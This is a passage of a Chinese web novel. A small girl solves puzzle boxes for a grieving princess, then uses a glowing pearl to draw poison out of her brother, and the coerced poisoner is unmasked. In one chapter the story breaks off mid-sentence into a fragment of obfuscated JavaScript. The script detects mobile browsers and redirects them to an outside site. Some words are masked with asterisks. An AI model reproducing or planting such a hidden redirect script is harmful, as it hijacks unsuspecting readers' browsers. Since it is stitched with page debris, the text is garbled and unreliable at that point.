她心一横,拿起桌案上那个巴掌大小,颜色暗沉的铁盒交给身后婢女:“便将此物赠与郡主!如今它是你的东西了,郡主总该愿意一试了吧?” 婢女赶忙将那铁盒送到了团团的桌上。 团团看了看眼前的铁盒,又抬头看了看一脸算计的顾宛青。 咧开了小嘴,脸上梨涡深陷,伸出小手抱起那铁盒:“哦——!你不要啦?那它现在是我的啦?“ 顾宛青脸色有些难看:“是,已归郡主所有。“ “那咱们把它带回家慢慢玩吧!娘亲!”说完,团团骄傲地扬了扬小下巴,转身就扑到了程如安的怀里。哼!叫你们欺负三哥哥! 顾宛青僵在原地,脸色由红转青,再由青转白,精彩得如同打翻了染缸。这哪里是个天真孩童?分明就是个小魔星! 众人面面相觑,眼看着这小娃娃用最无邪的表情,把大人对她的精心算计,全都踩进了泥里。 殿内经过了片刻的沉寂,随即便是压抑不住的、此起彼伏的闷笑声。 长公主再次忍俊不禁,这个孩子,真是太有趣了。 程如安也笑了,但她并不想占顾家这个便宜,况且刚才长公主也曾出言让团团试一试:“团团乖啊,你看看,若是能解,便解开罢,娘亲想看,长公主殿下也想看呢。” “娘亲和长公主殿下都想看啊,那我就解。”团团拿起铁盒,仔细地看了起来。 只见那铁盒漆黑如墨,通体泛着一种金属的冷硬光泽,盒子的表面光滑如镜,没有任何肉眼可见的锁孔、枢纽、按钮或缝隙。 殿中鸦雀无声,所有人的目光都集中在她的身上,半晌后,团团撅起了小嘴,满脸的不高兴。 顾宛青哼了一声:“怎么?郡主也束手无策了?看来刚刚韦姐姐那个,也不过只是凑巧而已。” 众人见状,也开始低声议论: “一个小娃娃,能懂什么机关之术!” “看来,刚才那个,确实不过只是运气罢了!” “果然出身乡野,比不得这京城的达官贵女啊!” 程如安低头轻声道:“团团,解不开不打紧的,还给她就是。” 团团抬起头来看着她:“娘亲,有东西藏在这里面呢!” 程如安猛地想起了蛊虫,脸色都变了。 团团捧起铁盒,跑到所有桌案最前面的宽敞处,用力往地上一摔! 真是愚蠢!竟然想摔破铁盒找寻珍宝!顾宛青终于畅快了,忍不住大笑起来:“哈哈,真是蠢货,铁盒子怎么能摔得开!” 话音刚落,却听到坐在前面的几桌人都惊呼了一声:“啊!真的有东西!” 她尴尬地收住笑声,抢前几步,定睛看了过去。 只见那看似坚不可摧的铁盒竟然已碎成了几块,团团蹲下身子,在碎片里扒拉了几下,取出了一盏异常精致的铜质小灯,放回了自己的桌上。 所有人瞠目结舌,铁盒子竟然能摔碎? 长公主摆了摆手,侍女快步跑下台阶,捡起一块那铁盒的碎片跑了回去,双手奉上。 长公主接过来,仔细端详:“原来如此!竟然是玄铁木所制!此木质地细密,且外表和重量与铁质一般无二。百年方长一寸,极是难得,顾大人府中竟能有此神器,实属不易。” 顾宛青脸上的表情此时已经无法形容了,这本是顾家祖传的宝物,今日竟被她如此轻巧地拱手送了出去。 第43章 帮皇姑姑的忙 团团把玩着手里的小铜灯:“真好看。” 程如安道:“团团,既然已经解开了,拿给长公主殿下看看罢。” 侍女闻言,连忙走下台阶,来到宁王府的桌前。 团团却摇了摇头。 韦清澄见状马上开口:“郡主已将此物据为己有,莫非竟连拿给长公主看看都不愿意吗?” 程如安一眼瞪过去,目光冷冽如刀。 韦清澄哼了一声,头转向一旁,不敢与宁王妃挑衅对视。 团团的小手在铜灯上不停摸索,似是在找寻什么,却又摸不到门路。 顾宛青勉强压住了心中不忿,嗤笑一声:“不过如此而已!” 话音刚落,只见团团眼睛一亮,两只小手握着铜灯的上下两端,用力一扭。 “咔哒”一声轻响,只见铜灯豁然裂成了两半,团团小心翼翼地将两端向外轻轻一拉,一颗大如鸽卵的巨大夜明珠露了出来。 她取出夜明珠,高高地举过头顶:“娘亲!你看!” 只见那珠子瞬间绽放出了耀眼的光华,与普通的夜明珠截然不同。 洁净的光芒透过外壁投射到四周,幻化出无数栩栩如生的飞鸟和繁花,甚至还有仙子翩翩起舞的绝美光影! 整个大殿都被笼罩在一片如梦似幻的光影之中! 而举着夜明珠的团团,更是身处光影的中央,被那光芒完全笼罩其中,浑身上下晶莹剔透,竟然也似在发光一般。 所有人,包括长公主,全部目瞪口呆,半晌无人发声。 程如安虽然也很惊喜,心头却涌起了浓重的不安,团团今日,太过锋芒毕露了,必须尽快了结此事:“乖团团,拿给长公主殿下看看好不好?” “嗯嗯!”团团收回了手,捧着珠子小跑着奔向长公主。 依照宫规,臣子敬献事物是不能靠近,必须由侍女转交的。 长公主却摆了摆手,拦住了正想上前阻拦的侍女:“不必,放她过来。” 团团跑到她的身边:“长公主殿下!给你!” 长公主微笑着接了过来:“团团好生厉害!让皇姑姑看看,这珠子如此神异,究竟有何玄机。” 众人心中皆是咯噔一声,长公主竟然在团团的面前自称是她的姑姑!皇权之下,任何人都是先论君臣,再论亲疏,这一声皇姑姑,比任何赏赐都贵重,可谓是无上恩宠了。 团团却不明白:“皇姑姑?” 长公主点了点头:“对啊,你姓萧,本宫也姓萧,论辈分,本宫是你的堂姑母,自然就是皇姑姑啦!” 团团灿烂一笑,扑进了她的怀里:“皇姑姑!” 长公主被她叫得心头一颤:“真乖。” 她一手搂着团团,一手将珠子举到眼前,仔细端详。 片刻后,不禁一笑:“原来如此!这珠子的内壁竟然雕满了繁花,飞鸟和仙子,光芒又异常耀眼,故而才能有此异象,当真是巧夺天工。” “将那铜灯拿过来。” 侍女连忙照做,把铜灯也拿了过来,长公主把珠子和铜灯一起递给团团:“团团是怎么打开的?给皇姑姑看看好不好?” “好!”团团接过铜灯,将珠子原样装回,仔细地找到其中关卡,一扭,一按,“咔哒”一声,夜明珠再次锁进了铜灯之中。 长公主将铜灯交给侍女:“连同方才的璇玑尺,一并送到宁王的马车中。“说完便站了起来。 所有人见状也都急忙站起。 “本宫有些乏了,各位自便。宁王妃,请随我来。”她牵着团团的小手,走向了内殿,程如安应了一声是,跟了上去。 “恭送长公主殿下!”所有人行了礼,坐回自己的座位,待长公主的身影消失,大殿内的声音顿时嘈杂了起来。 “今日真是没有白来!竟能亲眼目睹如此两件稀世珍宝!” “是啊!三生有幸!真是三生有幸!” “嘉佑郡主着实天赋异禀,小小年纪竟能解开如此巧妙的机关!” “谁说不是呢!就说那玄铁木吧,谁能想到要把它摔碎才能看到那夜明珠!这哪里还是机关之术,简直就是神迹!” “都说大隐于世,原来这稀世珍宝也是如此!” “宁王这位嫡女,看来丝毫不逊于京中的千金们啊!” 唯有韦清澄和顾宛青两对母女面似死灰,如坐针毡。 程如安跟着长公主走入内殿,长公主吩咐:“赐坐。” “谢长公主殿下。“程如安拉着女儿行礼落座。 长公主让人呈上来一只小匣,手指轻轻摩挲着:“团团,皇姑姑想请你解开这个,你可愿意?“ 团团睁着大眼睛,眨巴眨巴地望着她手中的匣子。 长公主神情黯然,不舍地抚摸着手中的匣子:“但是,皇姑姑不能将它送给你,因为,这是本宫最最珍视的东西。“ 程如安听了后,有些明白了:“莫非这是,驸马留下的?“ 长公主眼中泪光闪动,默默地点了点头。 “驸马是什么马啊?娘亲?“团团没听懂。 程如安轻轻叹了口气:“驸马就是长公主殿下的夫君,长公主殿下是你的皇姑姑,驸马自然就是你的皇姑父。“ “那皇姑父在哪里啊?“团团追问,小孩子的好奇心是无穷的。 程如安看了看长公主,无奈地只能回答了女儿:“将军百战死啊。你的皇姑父跟你爹爹一样,是个征战沙场的大将军。但是,很多年前啊,他不幸在战场上……身故了。“ 她把女儿拉进怀里:“这个呢,就是他留下的东西,你皇姑姑想让你帮她解开,团团试试好不好?“ 团团明白了,难怪皇姑姑一身的灰气,一点儿都不高兴,原来是因为皇姑父。 长公主的眼泪已经滑下了面颊,她声音颤抖着问道:“团团愿意帮帮皇姑姑吗?我曾找了无数的匠人看过,却没一个能解开,这么多年了,我只想看一看,他究竟留下了什么。“ 第44章 大哥哥吐着血回来了 长公主显然是心情激荡,竟在母女二人面前自称起了“我”。 团团走到她身边,抬起小手为她擦了擦眼泪:“不用送给我啦,皇姑姑,这本来就是皇姑父的东西,他不会回来了,对吗?” 长公主的记忆瞬间回到了霍峻明出征之前…… “这个留给你,若你能解得开,便归你。” “若解不开呢?” “那可不行,解不开,就要物归原主!” “哼!小气!” “好啦,解不开,我回来教你!” 但他却再也没能回来,长公主泪如雨下。 团团学着娘亲哄自己时的样子,拍了拍长公主的胳膊:“皇姑姑不哭啊,团团帮你。” 她拿起了那个小匣子,仔细地看了起来。 长公主屏住了呼吸,凝视着她,心中既期待又担心,生怕这次的希望又会再次落空。 团团翻来覆去地琢磨了好半晌,匣子依旧纹丝不动。 长公主的脸色黯淡了下去。 团团抬起头,望了望周围,突然,屏风上画着的一个英俊的将军吸引了她的注意:“这是谁啊?” 程如安识得霍峻明,连忙答道:“这便是你皇姑父了。” 团团看看画像,又看看手中的匣子,抱起来便跑到屏风前,抬手一指:“皇姑姑,你看!” 长公主走到她身旁,顺着她手指的方向看了过去,画像中,霍峻明腰间坠着一枚雕刻着祥云图案的玉佩。 “这枚玉佩?是我当年赠他的。怎么了?团团?“ 团团翻转匣子,将其底面朝上:“这里!一样的!“ 长公主仔细看过去,这才发现,匣底的纹路竟然和那玉佩上的一模一样! 莫非……长公主眼睛都亮了,紧紧盯着团团。 只见团团伸出一根小手指,看着画像中的玉佩,顺着那玉佩纹路的轨迹,在匣子上完整地描画了一遍。 轨迹闭合的刹那,匣子里传来清脆的解锁声“咔哒“,匣盖应声弹开,一张折得整整齐齐的纸飘落在地上。 团团把纸捡起来,连同匣子一起递给长公主,转身拍着小手,蹦到程如安的怀里:“打开啦!打开啦!这个匣子真好玩!“ 程如安轻轻捂住她的小嘴:“乖啊,别出声,让皇姑姑好好看。“ “嗯嗯!“团团点了点头,安静下来。 长公主将匣子放到桌上,轻轻拿起那张纸,颤抖着双手一层一层展开,瞬间痛哭失声。 已经泛黄的纸上,竟是霍峻明亲手所绘的,两人并肩站在一起的画像。 “原来,“她几乎泣不成声:”能打开这匣子的,便是他自己。 她们夫妻皆喜爱机关之术,经常将彼此的礼物放置在各种精巧的机巧之物中,让对方去解。 她之所以时常举办赏珍会,便是想寻到一个能打开匣子的人, 今日,终于如愿了。 画中人身姿挺拔,眉眼俊朗,音容笑貌犹在眼前,可如今,触手所及却只剩这一纸冰凉。 阴阳两隔,世上最残忍的,莫过于此。 程如安想起每次宁王出征,自己在家中也是万般担忧,生怕一别便再没了相见之日,感同身受,也在一旁默默落下泪来。 团团看了看长公主,又看了看程如安,缩进了娘亲的怀里:“娘亲,不哭,你一哭,我也想哭。”也跟着掉了眼泪。 程如安搂着女儿,心中又酸又软。 好半晌后,长公主渐渐止了哭声,冲着团团招了下手:“来,孩子。“ 团团走到她面前,长公主拉起她一只小手,看向程如安:“这孩子,与本宫甚是有缘,了却了本宫毕生最大心愿。此恩深重,非俗物可酬。” 程如安连忙站起:“长公主言重了。” 长公主摇了摇头:“宁王妃不必惶恐。” “本宫赐她宸辉殿令牌一面,今后她想念本宫了,无需那些繁琐规矩,随时都可出入。” “本宫在京郊有处不错的庄子‘芳菲苑’,一并赐予她,闲暇时宁王妃尽可带她去游玩沐邑。” 长公主摸了摸团团的小脑袋:“好孩子,你可有什么想要的?“ 程如安赶忙回道:“长公主如此厚赐,已尽够了。“ 长公主摇了摇头:“小孩子有自己的想头,让她自己说,王妃不必多言。“ 团团歪着小脑袋思索了片刻:“我想要那只大猫咪!“ “大猫?“长公主面露疑惑,望向程如安。 程如安想了想:“犬子曾经带她去过万灵苑,里面有只外邦进贡来的雪豹,团团甚是喜欢。“ 团团使劲点头:“它也喜欢我!让我摸她的大脑袋呢!” 长公主面露惊讶:“那雪豹刚送来时本宫也曾看过,十分凶猛,园监曾有报,无法驯服。你竟能与它如此亲近?“ “对啊!它还吃我带的肉干,送东西给我呢!皇姑姑,它的耳朵可软啦,爪爪大大的!皇姑姑想不想摸一摸?我叫它乖乖的,也给你摸!“ 长公主微笑点头:“原来如此,那皇姑姑便将那只雪豹赐给你好不好?“ 团团眼睛都亮了:“真的吗?“但随即又撅起了嘴:“可是,我在哪里养它啊!家里没有大笼子哦!” 长公主想了想:“不难。仍旧养在万灵苑,不必送到宁王府,只是,它归你所有,你可以随时去看它,与它玩耍,好不好?” 团团蹦了起来:“太好啦!我有大猫咪啦!” 长公主看着团团,毫不掩饰对她的喜爱:“这孩子的灵性无人能比,王妃有福了。” 程如安看着女儿:“长公主所言甚是,自从把她接回来,宁王府诸事皆顺,臣妇也极是欣慰。” “是么……”长公主看着团团,眸光深邃。 “来人,传本宫懿旨,嘉佑郡主聪慧灵秀,善解人意,深得本宫之心,从今往后,她便如本宫所出,日后她的教养、婚配,本宫都要亲自过问。本宫在一日,便护她一日周全。” 程如安心中猛地一跳,这恩典可是太大了!连忙拉着女儿给长公主一起行了大礼:“谢长公主殿下厚爱!“ 长公主目光转回到画上,摆了摆手:“退下罢。” 拜别了长公主,回府的路上,团团兴奋地跟程如安不停念叨着赏珍会上的事,程如安微笑倾听,目光落在马车中的两个锦盒上。 锦盒中装着的,正是璇玑尺和夜明珠。 今日团团锋芒毕露,她心中一直惴惴难安,所幸得了长公主的青眼,多了一个能庇护女儿的人,幸好,幸好! 马车停了,两人刚刚下车,下人一脸慌张地禀告:“王妃娘娘!大少爷回来了!他……他吐血了!命悬一线!” 第45章 有人害大哥哥 程如安大惊失色:“远儿?他在哪儿?“ 下人回答:“养正轩,王爷让将大少爷送到养正轩了。“ 刘嬷嬷此时也出来迎她们:“王妃娘娘!你们才出门不久,大少爷就被商行的人送回来了,进府时便吐血不止,人事不知。郭太医已经来了,您赶紧进去看看吧。“ 程如安脸色都白了:“好,我这就去,你带团团回静兰苑。“说完也顾不得仪态,一路小跑着便向养正轩冲去。 刘嬷嬷牵起团团:“小小姐,咱们走吧。“ 团团听得一知半解:“嬷嬷,是大哥哥回来了吗?“ 刘嬷嬷叹了口气:“对,是小小姐的大哥回府了,只是……,唉。” “我还没见过大哥哥呢,我也要去。” 刘嬷嬷犹豫了,养正轩里此时一片沉重,一个小娃娃去实在不大好,万一大少爷……岂不是吓坏了孩子? “小小姐,还是等大少爷好一些嬷嬷再带你过去好不好?” 团团却直接甩开了她的手,撒腿就往养正轩跑,不带我去,我自己去!我认得路! 刘嬷嬷吓了一跳,赶忙追上:“小小姐!别去!乖乖听话,跟嬷嬷回静兰苑!” “我不!我要去看大哥哥!”团团小胳膊小腿的,不如大人跑得快,边跑边不停回头望,眼看着就快被追上了。 “嬷嬷!马车里有长公主给我的宝贝哦!” 刘嬷嬷脚下一顿,长公主殿下给的?那可绝对不能出岔子! 就这么一停,团团已经跑得只剩下一个小小的背影了。 刘嬷嬷眼见追不上了,无奈只得转头先回马车上去拿东西了。 团团一路跑到了养正轩,门口的下人见是小小姐,刚想拦住她然后进去回禀。 团团喊了一声:“爹爹让我来的!” 下人一愣,王爷让的?团团已经钻了进去。 娘亲说让我回静兰苑,爹爹可没说! 团团跑到正厅时,已经呼哧带喘了,第一个看到的就是得知她回来,正往外走,想去看她的萧宁珣,直接扑了过去:“三哥哥!” 萧宁珣一把接住了她,顺势抱起:“你怎么来了?“ 团团搂着他的脖子,委屈巴巴的道:“我想看大哥哥嘛!三哥哥,你也不让我去看吗?“ 萧宁珣完全无法拒绝妹妹,只犹豫了一刻:“好,三哥带你进去,不过团团,大哥病了,病得很重,你乖乖地跟我在一起,别跑别闹哦。“ “嗯嗯!三哥哥最好了!“团团坐在三哥的臂弯里,舒舒服服地被他抱了进去。 养正轩内室。 萧元珩,程如安,萧宁辰,郭太医都围坐在床边,众人的注意力都在床上躺着的萧宁远身上,没有注意到萧宁珣已经抱着团团悄悄进来了。 郭太医正在讲话:“大少爷中的毒,不是寻常**。老夫虽然已给他施诊了针,但也只能暂缓病势,无法真正解毒。” 众人听了都一脸诧异,萧元珩面色沉重:“**?什么毒?郭老也束手无策吗?” 郭太医摇了摇头:“大少爷所中之毒,是多种**混合而成,除非,找到下毒之人,问出配比的方子,否则,三清**来了,也无计可施。” 萧元珩看向站在床尾的一个年近三十,面色有些苍白的陌生男子:“周大海,你是一直跟着远儿的,你来说。” 周大海浑身一颤,连忙走上前来扑通跪倒:“王爷恕罪!小人实在不知大少爷竟是中了毒,一直以为只是病了。“ “大少爷自一个月前,便开始咳嗽气喘,请郎中瞧了,说是偶感风寒。” “每日都按时服药,可这病却不见好,反而越来越重。” “后来又换过两位郎中,都说是积劳成疾,给换了方子,但服下后仍然没有起色。” “大约七八日前,大少爷开始咳血,于是吩咐奴才尽快赶回王府,说是……怎么也要回家再看一眼。奴才们快马加鞭,今日这才赶了回来。” “小人不敢撒谎,确实是换了好几个郎中,按着方子熬的药,可他们,都没诊出大少爷是**啊!”周大海说完,从袖子里取出几张纸捧到郭太医面前:“这就是那几个郎中的方子。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380418|184125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >郭太医接过来一看,摇了摇头:“也不能怪他们无能,这种**,确实极难诊得出来,寻常郎中有此误判,也是没有办法的事。“ 程如安泪如雨下:“好好的孩子,是谁这么狠心,要害死他。” 团团最看不得她哭了:“娘亲别哭,团团来了。” 程如安泪眼婆娑地抬起头,这才看到了坐在萧宁珣怀里的团团,也无心再问她为何没回静兰苑了,一伸手:“到娘亲这儿来。” 萧宁珣把妹妹放到了母亲的怀里。 萧宁辰皱了皱眉:“三弟,你怎么让团团进来了?” 萧宁珣低下了头,没有为自己分辨。 萧元珩摆了摆手:“无妨,本王的女儿,没那么胆小。” 团团看向床上的人,五官分明,双目紧闭,面如白纸,嘴唇都没了颜色。 “娘亲,他就是大哥哥?” 程如安搂着她,点了点头:“他就是你的大哥,萧宁远。” 团团问郭太医:“老爷爷,什么是**啊?” 郭太医道:“**就是吃下去会让人生病的药。” 团团很奇怪:“大哥哥为什么会吃**呢?” 郭太医沉默了,程如安看着女儿:“不是你大哥自己要吃的,是有人害他。” “是谁害大哥哥啊!大坏蛋!“团团挥了下小拳头:”我去打他!“ 程如安搂着哄她:“现在还不知道,乖,等查到了是谁,让爹爹带着你去打他,好不好?’ “嗯!”团团使劲点了下头。 程如安看向郭太医:”郭老,我想请你给句准话,远儿他,若这**解不了,还能……“ 她哽住了,没再说下去,但郭太医岂能听不懂她的意思? “恕老夫直言,也就……还剩下三五日的功夫了。要不,府上提前预备些东西?冲冲也好。“ 程如安心里一痛,没有忍住,哽咽失声:“远儿才多大啊!我还活着呢,他怎么能……他可是长房长孙啊!母亲她老人家若是知道了……可怎么是好啊!“ 萧元珩跟两个儿子在一旁,默默无言。 第46章 你竟然是害大哥哥的人! 团团抬起小手给程如安擦眼泪:“娘亲不哭,大哥哥会好的。“ 程如安竭力压制住情绪:“好,娘亲不哭,咱们一起等着大哥哥好起来。“ 刘嬷嬷捧着马车上那两个锦盒走了进来,轻声问道:“王妃娘娘,讨您个示下,这两个盒子里的东西,小小姐说是长公主殿下给的,收在哪里合适?老奴不敢擅作主张。” 长公主给的?屋里的人都抬起了头,望向那两个盒子。 程如安无心多说:“先收到静兰苑内室里去吧。“ 团团却眼睛一亮:“等一等!“从程如安的怀里蹦下来,跑到刘嬷嬷面前,抬手便将小的那个盒子拿了出来。 两个锦盒一大一小,一看便知道哪个里面装的是什么。 她拿出小铜灯,跑回到程如安的身旁:“大哥哥,你快醒过来吧,团团有好东西要给你看呢,这是今天从坏姐姐那里得的哦!“ 她两只小手灵活地打开了铜灯,掏出了那颗硕大的夜明珠。 刹那间,耀眼的光芒绽放在屋内,所有人都惊讶地看了过去。 团团把夜明珠举到萧宁远的脸前:“大哥哥,你睁开眼看看,好看吗?“ 夜明珠晶莹的光芒笼罩在萧宁远的头上,照得他整个人如同透明了一般。 “咦?“郭太医突然道:”小小姐,别动啊,就这样一直拿着。“ “怎么?“程如安想起玲珑净厄珠,想起了召唤蛊虫的铃铛:“莫非……远儿有救了?” 郭太医目不转睛地盯着萧宁远,片刻后:“莫非只有老夫看见大少爷的皮肤下越来越黑了吗?难道是老夫老眼昏花了?“ 经他提醒,所有人定睛看去,这才发现,他并没有看错,萧宁远的皮肤下面,有一层黑色的东西在缓慢浮动,而且颜色越来越深。 没过多一会儿,萧宁远的脸,脖子,手,所有肉眼所及之处,都从惨白变成了灰黑色。 “大哥哥怎么变黑了?“团团奇怪地问。 萧元珩嘱咐道:“团团乖啊,你就举着那珠子别动,千万别动。“ 他的心跳忍不住加速,虽然曾经听妻子讲述过团团是怎样如同施了神迹一般救了自己,但亲眼目睹还是第一次。 “哦。”团团应了一声,这可比上一次让自己摇铃铛轻松多了。 此时萧宁远身上的那层黑色似是受了什么东西的指引,全部逐渐集中到了额头,最后,形成了一个漆黑如夜,大如墨滴的黑点,正对着团团手中的夜明珠。 夜明珠的光华越发耀眼,突然,那黑点溃散开来,化成了无数丝丝缕缕的黑气,从皮肤下面喷涌而出,挣扎着、扭曲着,被吸进了璀璨的珠体之内! 随着越来越多的黑气被吸出,萧宁远白纸一般的脸色逐渐显露出了红晕。 而那颗夜明珠,则随着黑气越来越多的进入,逐渐黯淡,仿佛蒙上了一层淡淡的薄纱,不再那么耀眼夺目。 团团咯咯直笑:“大珠子把坏东西吃掉啦!” 所有人都屏息凝神的看着,虽然搞不懂究竟发生了什么,但却都隐隐约约的明白,是团团,再一次救了家人。 黑气越来越稀薄,眼看就要消失不见,但最后一缕却始终在萧宁远的额头和夜明珠之间凝聚不散,翻滚扭动,仿佛在尽力挣扎。 夜明珠的光芒此时突然全部消失,而那最后一缕黑气,猛地调转方向,如同离弦之箭,越过众人,精准地扑向了周大海的怀中。 “别找我!别找我!”周大海反应过来,猛地跳起,转身就想往外跑。 萧宁辰迅速伸出一条腿将他绊倒在地,上去便扯开了他胸口的衣服。 只见那黑气紧紧地缠绕在他胸口的一个黑色瓷瓶上,逐渐隐没进了瓶子里。 这恐怕是天下最无解的指证了,周大海瘫软在地,面无人色,连狡辩的力气都没了。 萧宁辰的拳头高高举起,却又猛地顿住,看向妹妹,萧宁珣赶紧走到床边,抬起手来,遮在了团团的眼前。 “我看不见啦!三哥哥!别挡着我!“团团一只手还举着珠子,另一只手使劲扒拉着他挡住自己的大掌。 萧宁辰犹豫了片刻,终是收起了拳头,站了起来。 萧宁珣放下手掌,团团低头看向了倒在地上的周大海。 周大海面如死 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程如安还是不放心:“郭老,烦请给远儿再诊诊脉,这毒,是否都清了?远儿的身子……“ 郭太医连忙从药箱中拿出脉枕,把萧宁远的手腕放到上面,闭目凝神地诊了起来。 半晌后,他微微一笑,睁开了眼睛:“王爷,王妃,不必再担忧了,此毒已清,想来大少爷很快就能醒过来了。“ 程如安想起玲珑净厄珠给丈夫清完毒后,尚且又服了许久的药才好,又追问了一句:“当真不必再服些别的药了?” 郭太医笑着摇头:“不必了,已是干干净净了。” 所有人听后都喜动颜色,萧元珩把女儿交给妻子,端坐下来沉声道:“周大海。” 周大海浑身猛一哆嗦,趴在地上不停磕头:“小人该死!小人该死!求王爷饶了小人吧!” “你的确该死,但你在王府当差多年,一直忠心耿耿,因何起了歹意?远儿待你一向亲厚,本王想知道,他与你何怨何仇,你竟要置他于死地?” 第47章 爹爹要把坏人都引出来 周大海浑身抖如筛糠,却只是不停磕头,一言不发。 萧元珩沉着脸俯视他,也不心急,儿子已经救回来了,让他开口不过是早晚的事。 团团摸了摸萧宁远的手:“大哥哥,你怎么还不醒啊?” 程如安轻声道:“团团不急,大哥哥累了,要睡够了才会醒。” “可是。”团团抬头看她:“大珠子都不亮了,大哥哥醒了看不到了。” 程如安把小铜灯递给她:“大珠子呢……刚才救了你大哥,也累了,把它收起来好不好?让它也睡一会儿。” “好。”团团接过铜灯,将已经彻底黯淡的夜明珠收了进去:“谢谢你啊,大珠子,大哥哥睡,你也睡,睡够了再亮起来给大哥哥看。” 萧元珩望着女儿,唇角不自禁地微微勾起。 突然,他想到了什么,目光回到周大海的身上:“本王记得,你家中尚有娇妻幼子。萧二,派两个人去他家看看,他的家人是否还在。” “是!”萧二的声音在外面响起。 “不!不要去!”周大海猛地抬起了头,一脸惊惶。 萧元珩微微颔首:“果然。你家中出事了?” 周大海脸色青白不定,目光闪烁,嘴唇抖动。 终于,他长叹一声:“王爷,小人绝非忘恩负义之辈,若不是媳妇儿子皆困于他人之手,小人绝不会背叛大少爷。“ 萧元珩沉声道:“何人?“ 周大海闭了闭眼睛,一只手伸向了靴桶。 “父亲!“萧宁珣速度极快地抽出了靴桶中的**,两步便跨到了周大海身旁,刀尖直直地指向了他。 萧元珩赞赏地看了儿子一眼,不错,有点子警觉性。 周大海一愣,随即摇了摇头:“三少爷不必如此。”说完,从靴筒中取出了一小卷纸张,双手捧给了萧元珩。 萧宁珣这才收起了**,默默退到了一旁。 萧元珩接了过来,展开看了看:“这是,你的家书?” 周大海点了点头:“是。王爷请看。“ “小人幼子,出生时便未足月份,一向体弱多病。半年前,小人收到家书,得知小儿在家中突然昏厥,四肢抽搐、口吐白沫。“ “郎中来瞧了,说是患了羊角风,吃药后虽然救了回来,但之后便频繁发作,我媳妇儿焦心如焚,每日奔波于给孩子请医问药,劳累不堪,让小人尽快回家。“ “大少爷手有恶疾,平日里记账书写都是小人在做,实在是离不得。“ “小人思量再三,将手头能用的银两都换成了银票,又写了一封家书给他们娘儿俩,送到了当地最大的隆昌镖局,请他们送回家里。“ “不料不久后,镖局的一位徐师傅突然派人来请我出去喝茶,并将小儿自幼佩戴的长命锁送到了我的手中,还让我不要告知旁人。小人惶恐不安,便独自去了他说的茶楼。“ “徐师傅告诉我,我的妻儿已被他们接走,请良医医治,有专人照料,只要小人听命于他,便会定期给我带来小儿的信物。“ “小人挣扎再三,无奈答应。刚开始,他们只是要商行的部分账目和大少爷的动向。直到两个月前,徐师傅突然给了我这个瓶子,让我将里面的药粉每日放一点在大少爷的饮食里。“ “大少爷待我恩重如山,我犹豫再三,并没照做。但很快,徐师傅便又送来了我媳妇的家书,说是给儿子诊脉的郎中突然外出,如今孩子无人救治,已是性命垂危。“ “只有我老实照做,他们才会让郎中继续给我儿子医治,并好生照顾他们母子。“ “徐师傅说,此药是慢毒,寻常郎中根本不可能诊得出来,只需每日少量,大少爷便会日渐虚弱,直至油尽灯枯。不会有任何人怀疑到我身上。“ “那隆昌镖局在各地皆有分部,小人走到哪里都避不开,实在没有办法,为了妻儿的安危,小人只能照做。“ 萧元珩沉吟片刻:“那徐师傅可知你已回到京城?” 周大海回道:“应该是知道的,无论小人走到哪里,他都能找到我。” “好。本王给你一次将功赎罪的机会:将那徐师傅引出来。若能顺藤摸瓜擒获背后罪魁,本王保你妻儿性命无忧。” 周大海痛哭流涕,一个响头“咚“的一声磕在地上:“叩谢王爷!若能如此,小人万死 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“乖啊,大哥哥不知道何时能醒,娘亲抱你回静兰苑好好睡。“ “不嘛,这里有床,我就在这儿睡,大哥哥一醒就能看到我啦。”团团眼睛都没睁开,从母亲的怀里挣出来,像只小猫一样手脚并用的爬到了萧宁远身旁,倒头便睡。 程如安看得啼笑皆非:“这孩子!” 萧元珩也笑了:“就让她在这儿睡吧,团团才五岁,无妨。“ 他看向郭太医:“郭老,本王想请您在府内小住几日。一来,远儿尚未醒来,若病情有变,还要劳烦您给诊治。二来,本王要擒住贼人,国法处置,到时也还需您的证词。“ 郭太医连忙行礼:“王爷客气了,做我们这一行的,这些都是寻常事。“ “来人,送郭太医去厢房,好生安置。“ 郭太医离开了。 “辰儿!跟上萧二,若有错漏,出手便是,力求万无一失。“ “是!“萧宁辰猛地站起,眼中精光大盛,这是自己腿伤痊愈之后,第一次有出手的机会。 第48章 本王诬陷你难道不是理所应当? 傍晚将至,王府私牢。 萧元珩稳坐当中,身后站着萧宁辰和萧二,面前跪着一个四十岁出头的高大汉子,满身伤痕,嘴里被一块破布堵得严严实实。 一个老嬷嬷跪在他的身旁,周大海站在他们身后。 事情一如他所料,周大海出了王府刚进家门,徐师傅便现了身,萧二马上将他拿下,几番逼问之下,招出了一直以来,都是一位姓周的老嬷嬷给他下的命令。 得知周大海回京,那位周嬷嬷让他即刻便去打探消息,然后送到一个茶楼里。 萧宁辰命萧二将徐师傅送回王府,自己赶到茶楼,将周嬷嬷打晕扛了回来。 昏暗的地牢里,墙上挂满了各种刑具,阴森可怖。 萧元珩打量了一眼周嬷嬷,衣衫精致,钗环不凡,张口便问:“说吧,你是谁家的嬷嬷?你的主子是谁?为何对我儿下手?” 周嬷嬷何曾见过这样的场面,吓得浑身发抖,但想到一旦招认,便是杀身之祸,咬紧了牙关,一声不吭。 萧元珩笑了:“倒是个忠仆。来人,将她绑了,敲锣打鼓游街示众,走着送到京兆府,告诉所有人,此人潜入宁王府,意图暗害本王,当场被抓,罪无可恕。” “本王倒要看看,到时候,你的主子会不会出来救你,你的家人儿女,还有何面目活在这世上!“ “是!“萧二上前一步,拎起周嬷嬷的领子就要往外走。 周嬷嬷大惊:“堂堂宁王!你!你怎能空口白牙诬陷老奴!“ 萧元珩唇角一勾:“你都下毒暗害本王的儿子了,本王诬陷你难道不是理所应当?“ 萧宁辰一脸崇拜地看着自家爹爹,难怪父亲在战场上所向披靡,这不按常理却直击要害的做法,无论对方是谁,都只有被碾压的份儿。 “不!不要送我去!“周嬷嬷惊慌失措,奋力挣扎。 宁王征战四方,保社稷黎民安危,无论是朝堂还是民间,皆威望极高。 